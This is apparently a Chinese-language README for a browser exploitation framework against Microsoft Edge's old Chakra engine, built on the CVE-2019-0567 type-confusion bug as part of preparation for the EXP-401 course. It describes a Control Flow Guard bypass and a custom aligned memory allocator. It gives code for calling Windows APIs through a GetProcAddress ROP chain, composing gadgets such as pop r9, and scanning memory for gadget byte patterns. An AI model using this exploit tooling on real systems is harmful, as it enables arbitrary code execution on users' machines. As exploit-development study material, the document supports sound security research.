该仓库包含我为准备 EXP-401 课程 而编写的浏览器利用框架。该框架针对 Chakra 引擎,该引擎在 2019 年 Edge 切换到 v8 之前一直是 Edge 的一部分。
该框架中使用的演示漏洞是 CVE-2019-0567 类型混淆漏洞。

为了让这个框架易于使用,我编写了一些很棒的功能,使得实现未来的沙箱逃逸变得非常容易。
该框架允许以高层方式调用 Windows API。它使用 GetProcAddress ROP 链来解析任意 API,并支持最多四个参数。
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
我使用的 CFG 绕过是 leafInterpreterFrame 技术。通过遍历几个对象,你可以泄露一个栈地址。从这里,你可以搜寻函数指针,覆盖它,并获得执行。将它移植到我使用的 Chakra 版本上有点繁琐,所以我写了一篇博客,见此处。
一位朋友向我展示了一个非常棒的技术,可以非常轻松地返回到 JavaScript 世界。他们将 CFG 绕过封装在 [1].map() 调用中,这意味着他们可以在父函数中继续执行——这让代码看起来干净得多。你可以此处看到这样一个示例。
许多 Windows API 要求参数和缓冲区对齐。以前,我通过在 .data 节中暂存参数来调用 Windows API——这非常痛苦。最后,我编写了自己的内存分配器,它在 ROP 中调用 VirtualAlloc,然后允许其他对象从缓冲区 malloc 内存。该内存分配器也会始终返回对齐的缓冲区!
ROP 链的编写方式如下:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
底层的 ROP gadget 是作为小型函数实现的:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
这样,我们就可以组合更复杂的 gadget 链来执行更高级的操作,例如 pop r9。因为没有理想的 gadget,所以它是由几个 gadget 组合实现的:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
为了提高框架的可移植性,我还提供了一个 ROP 模式扫描器。它使用 read 原语来扫描形成所需链的字节序列。
还有一个全局缓存,可显著提升扫描器的性能。
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}